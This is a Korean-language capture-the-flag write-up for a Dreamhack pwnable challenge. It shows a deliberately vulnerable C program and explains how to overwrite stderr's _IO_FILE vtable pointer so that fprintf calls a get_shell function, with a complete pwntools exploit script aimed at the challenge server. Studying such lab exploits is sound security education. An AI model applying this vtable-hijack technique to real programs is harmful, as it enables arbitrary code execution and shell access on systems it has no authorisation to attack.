_IO_file Vtable에 관한 문제이다. 생소하기에 그만큼 어렵다고 느껴지기도 한다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
char name[8];
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
int idx = 0;
int sel;
initialize();
printf("what is your name: ");
read(0, name, 8);
while(1) {
printf("1. print\n");
printf("2. error\n");
printf("3. read\n");
printf("4. chance\n");
printf("> ");
scanf("%d", &sel);
switch(sel) {
case 1:
printf("GOOD\n");
break;
case 2:
fprintf(stderr, "ERROR\n");
break;
case 3:
fgetc(stdin);
break;
case 4:
printf("change: ");
read(0, stderr + 1, 8);
break;
default:
break;
}
}
return 0;
}
vtable을 overwrite 해주어야 할 것 같다.
https://lactea.kr/entry/pwnable-IOFILE-structure-and-vtable-overwrite
관련된 자료는 위 링크에서 잘 공부할 수 있다.
우선 read(0, stderr+1, 8) 이 부분에서 stderr+1이 어떤 부분인지 궁금하다.
문제를 풀 때에 매우 중요한 점을 얻을 수 있다. read에서 받는 stderr+1은 바로 vtable의 주소이다. (정확히는 _IO_file_jumps의 주소이다.) 그렇다면 read 함수에서는 자신의 구조체 내의 _vtable_offset 값을 _IO_file_jumps에 더해 필요한 함수를 참조할 것이다.
우리는 read 함수 내에서 vtable의 주소를 바꿀 수 있다. frpintf 함수(fwrite)의 경우 _IO_new_file_xsputn 함수를 호출하게 되는데, 그 때 설정되는 _vtable_offset은 0x38이다.
만약 name에 get_shell을, vtable에 name-0x38을 넣게 되면 문제는 해결된다.
from pwn import *
# p = process('./iofile_vtable')
p = remote('host3.dreamhack.games', 15990)
get_shell_addr = 0x40094a
name_addr = 0x00000000006010d0
p.recvuntil("what is your name: ")
p.sendline(p64(get_shell_addr))
p.recvuntil('> ')
p.sendline("2")
p.recvuntil('> ')
p.sendline("4")
p.recvuntil('change: ')
p.sendline(p64(name_addr- 0x38))
p.interactive()